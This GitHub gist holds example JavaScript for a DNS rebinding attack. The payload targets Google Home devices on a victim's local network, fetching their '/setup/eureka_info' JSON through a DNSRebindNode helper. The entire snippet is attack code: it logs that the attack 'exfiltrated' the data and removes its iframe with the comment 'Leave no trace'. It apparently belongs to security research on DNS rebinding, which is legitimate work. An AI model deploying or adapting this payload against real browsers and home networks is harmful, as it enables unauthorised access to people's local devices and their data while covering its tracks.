Created
June 5, 2018 03:35
-
-
Save brannondorsey/6cf7e90a3c0fafd420cd65f0ab3184ce to your computer and use it in GitHub Desktop.
DNS Rebinding Example Code
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// JS in payloads/google-home.html | |
attack() | |
.then((json) => { | |
console.log('The attack was successful! Here is the JSON it exfiltrated:') | |
console.log(json) | |
}, | |
err => { | |
// there probably isn't even a machine with this IP address... | |
console.error('No Google Home found at this IP ') | |
} | |
) | |
// remove the iframe from index.html once the attack is complete. | |
// Leave no trace ;) | |
.then(() => DNSRebindNode.destroy()) | |
async function attack() { | |
// a helper function that returns some fetch() options configured with | |
// certain useful headers | |
const getOptions = DNSRebindNode.fetchOptions() | |
try { | |
const opts = { fetchOptions: getOptions } | |
return await DNSRebindNode.rebind(`http://${location.host}/setup/eureka_info`, opts).then(data => data.json()) | |
} catch (err) { | |
return Promise.reject(err) | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment